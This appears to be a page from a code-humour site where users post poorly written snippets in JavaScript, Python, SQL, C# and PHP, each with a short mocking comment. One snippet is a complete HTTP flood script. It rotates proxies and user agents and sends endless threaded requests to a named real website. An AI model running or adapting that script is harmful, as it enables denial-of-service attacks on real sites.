> var x = 3;
> '5' + x - x
50
> '5' - x + x
5 // Because fuck math

JS is simply. Oh, wait...

By mademan, 2015-11-18 13:50:39
const errorHandler = () => {
  throw new Error();
};
By Anonymous, 2018-10-08 19:35:38
def get_verified_infos(request):
    try:
        # request logic here
        return data
    except Exception:
        logger.error(
            'Request to XXX was unsuccessful, '
            'Will retry till max recursion! Retrying...'
        )
        return get_verified_infos(request)

Used for OpenID authentication

By Anonymous, 2020-11-04 18:28:11
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

By @o_SKID, 2022-01-27 22:46:24
public void Handle(SomethingCreatedEvent e)
{
    if (e.ActCode == "SOME_VALUE")
    {
        return;
    }
    else
    {
        // insert real function body here
    }
}
By Anonymous, 2017-12-20 15:40:49
const handleBoolean = value => {
        switch (value) {
            case "true":
                return true;
            case true:
                return "true";
            case "false":
                return false;
            case false:
                return "false"
            default:
                return null;
        }
    }
By Anonymous, 2021-09-29 11:53:22
Boolean b = new Boolean(true);
if (b == true){
    ...
}

think outside the autoboxing

By ktb, 2018-09-18 15:17:38
A,B=map(str,input().split())        # let's begin by casting strings to strings!

while(int(A)!=0 and int(B)!=0):

    tamanhoa=0
    tamanhob=0

    for i in range(len(A)):
        tamanhoa+=1                 # wonderful way to determine the length of
                                    # a string!
    for i in range(len(B)):
        tamanhob+=1

    vA = [0]*tamanhoa
    vB = [0]*tamanhob

    if tamanhoa>tamanhob:
        vA = [0]*tamanhoa           # Just to make sure it really gets set!!!
        vB = [0]*tamanhoa

        for i in range(tamanhoa-1,-1,-1):
            vA[i]=int(A[i])         # he even saved an operation by casting
                                    # the char to int at the same time!
        for i in range(tamanhob):
            vB[i+1]=int(B[i])
    elif tamanhoa<tamanhob:
        vA = [0]*tamanhob           # Just to make sure it really gets set!!!
        vB = [0]*tamanhob

        for i in range(tamanhoa):
            vA[i+1]=int(A[i])

        for i in range(tamanhob-1,-1,-1):
            vB[i]=int(B[i])

        tamanhoa=tamanhob

    else:
        for i in range(tamanhoa):
            vA[i]=int(A[i])

        for i in range(tamanhob):
            vB[i]=int(B[i])

    print(vA)
    print(vB)
    
    carry = 0

    for i in range(tamanhoa-1,-1,-1):
        soma = vA[i] + vB[i]
        if soma > 9:
            carry += 1
            if vA[i-1]!= 9:
                vA[i-1] += 1
            else:
                vB[i-1] +=1


    if carry == 0:
        print('No carry operation.')
    elif carry == 1:
        print(carry, 'carry operation.')
    else:
        print(carry, 'carry operations.')

    A,B=map(str,input().split())    # why bother casting strings to int? yay

    if int(A)==0 and int(B)==0:
        break

This wonder was found within answers to a university programming test. Code as-is, comments added by me.

By Anonymous, 2017-12-14 00:09:27
// check if user is valid or not
ValidUserValidationResult userValidationResult = validUserValidator.validateUser(validationRequest);
By Anonymous, 2020-12-09 17:45:18
in_array($this->market, ["ru"])

There is an old mysterious legend, which says that those conditions are lightening fast which are using in_array($source, ["target"]) instead of just "==". Is says always that probably you never do code refactoring, and keep all shit alive

By Anonymous, 2018-03-12 14:47:24
CREATE FUNCTION [dbo].[get_number_of_workers] 
(
     @number_of_workers varchar(10)
 
)
RETURNS int
AS
BEGIN
 
 
set @number_of_workers = replace(replace(replace(replace(LTRIM(RTRIM(@number_of_workers)), char(9), ''), char(10), ''), char(13),''), char(13)+char(10), '')
 
DECLARE @temp varchar(10)
 
SELECT
    @temp = number_of_workers 
FROM
    (SELECT LTRIM(RTRIM(@number_of_workers)) as number_of_workers) as temp
WHERE
       number_of_workers like  '[0-9]'
    or number_of_workers like  '[0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
     
     
RETURN CONVERT(INT, @temp)
 
END
By Anonymous, 2015-07-22 14:59:09
def sho_est(request):
    if not request.user.is_superuser and not request.user.is_staff and not request.user.is_university:
        raise Http404
    data = ''
    if request.content_type == 'application/x-www-form-urlencoded' and request.method == 'POST':
        user_detail = request.POST.get('user_detail', None)
        if user_detail:
            if request.user.is_superuser or request.user.is_staff:
                credito = Credit.objects.get(pk=user_detail)
                fecha_apronacion = 'Pendiente'
                estado_firma = 'Pendiente'
                estado_cuota = 'Pendiente'
                if credito.created_at:
                    fecha_apronacion = credito.created_at.strftime('%Y-%m-%d')
                if credito.is_iou_signed:
                    estado_firma = 'Firmado'
                if credito.is_retainer_paid:
                    estado_cuota = 'Paga'
                reg_amr_due = """
                <tr style="border: 1px solid black; padding: 5px;">
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{period}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_loan_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">
                    {due_tech_amount_due_surety_amount_due}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">{due_interest_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: right;">
                    {due_fines_arrears_amount_due_interest_arrears_amount}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{days_in_arrears}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{fullfilment_date}</td>
                    <td style="border: 1px solid black; padding: 5px; text-align: left;">{status}</td>
                  </tr>
                  """
                str_amr_due = ""
                dic_ver = {}

Fuck Yeah

By rootweiller, 2020-01-15 04:09:48
int file_exist(){
    FILE *file;
    if((file = fopen(SCORE_FILE_NAME, "r"))){
        fclose(file);
        return 1;
    }
    return 0;
}
By Anonymous, 2020-06-08 12:01:54
if (string.Compare(json["result"].ToString(), "OK", true) == 0)
{
    if (string.Compare(json["list"][0]["result"].ToString(), "OK", true) == 0)
        return null;
        
    //omitted
}
By J@k3R, 2022-08-09 08:51:55
Entity veh = World->NewVehicle(type);
...
World->AddAnimal(veh); // insert vehicle to both landscape and world

Code for creating CAMERA object in one big AAA game engine.

By Anonymous, 2018-08-19 01:33:34